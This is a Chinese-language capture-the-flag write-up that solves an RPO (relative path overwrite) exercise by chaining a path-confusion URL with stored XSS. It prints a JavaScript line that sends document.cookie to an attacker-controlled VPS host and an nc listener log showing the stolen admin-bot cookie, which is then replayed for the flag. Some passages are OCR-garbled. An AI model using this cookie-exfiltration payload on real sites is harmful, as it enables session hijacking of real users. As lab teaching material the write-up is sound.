RPO练习题wp

进入页面是一个bot自动提交的输入框和一个评论区入口

扫面一下目录我们还发现一个 login.php

进去一看,是个登陆框,随便输入用户名和密码

返回

Sorry, your name or password is wrong please try again. Unless you have the ability to get admin's cookie

显然我们是要获取到管理员的cookie了

进入评论区看看, 发现我们可以在上面评论

尝试插入 <script>alert(1);</script>

访问 http://ctf.k0rz3n.com/index.php/users/1/html/4, 返回了输入我们输入的内容, 查看源代码发现 <> 被实体编码了 <script>alert(1);</script>gt;

想到之前做过一道xss,利用unicode去绕过实体编码,于是尝试着用unicode编码去绕过,发现依然 没有什么效果

于是,我们再往回看,查看 index.php 的源代码,看到一个相对路径引用

<title>K0rz3n的博客</title>
<script src="./js/jquery-3.2.1.min.js"></script>
<center>

这里存在RPO漏洞

RPO是利用浏览器的一些特性和部分服务端的配置差异导致的漏洞,通过构造我们可以通过相对路径来引入其他的文件,已达成我们想要的目的

我们来看一下这题的

payload http://ctf.k0rz3n.com/index.php/users/6/html/2/..%2f..%2f..%2f..%2findex.php

对于php而言,它获得的请求是url解码后的,《82f)会被解码为 / ,apache和nginx会按照目录的方式来返回我们请求的资源。

对于payload, 也就相当于访问

http://ctf.k0rz3n.com/index.php/users/6/html/2/../../../../findex.php

向上跳了五层,依然会去访问 index.php 并同时去加载 ./js/jquery-3.2.1.min.js

但是服务端和客户端之间产生了差异,浏览器在寻找js资源的时候,并没有对象2f进行解码,就认为 ..%2f..%2f..%2f..%2f..%2findex.php 是一段数据,但是又没有人来接收这段数据,相当于没有用,所以返回的资源还是 http://ctf.k0rz3n.com/index.php/users/6/html/2/

利用这一点,我们就可以结合xss来攻击了

首先尝试着输入 alert(1), 访问

http://ctf.k0rz3n.com/index.php/users/3/html/1/..%2f..%2f..%2f..%2f..%2findex.php 发现成功弹框



接着再尝试输入 alert('xss')

🤯 🚺 🦁 📜 😝 🖹 从 Safari 中导入 🗋 网络安全实验室	网络 [] XDSEC 周报平台. CSDN NO	CTF All In One N Lawliet Blog	▶ 首页 离别歌 🥒 考满分 剑桥雅思在
	ctf.k0rz3n.com 显示		
	xss		
		确定	

发现单引号没有被过滤(经过测试,双引号被过滤了),可以使用

于是构造 (new Image()).src = 'http://vpsip:port?'+document.cookie

打开vps端口监听

将 http://ctf.k0rz3n.com/index.php/users/6/html/6/..%2f..%2f..%2f..%2f..%2findex .php 提交给bot

vps上接受到请求包

```
root@Phantom:~# nc -l -p 2333

GET /?DENGLU=NCINehEJOIRJ90A12U329W9JDWIQHD82312IOJHD HTTP/1.1

Referer: http://ctf.k0rz3n.com/index.php/users/6/html/6/..%2f..%2f..%2f..%2f..%2fi
ndex.php

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/538.1 (KHTML, like Gec
ko) PhantomJS/2.1.1 Safari/538.1

Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en,*
Host: 207.148.112.181:2333
```

成功获取cookie

然后我们访问 http://ctf.k0rz3n.com//login.php 并抓包,添加上我们获取到的cookie,发送出去,成功得到flag

flag{asdhoqihe128498129u4jlk1h2edpi1h34948e1903ujd}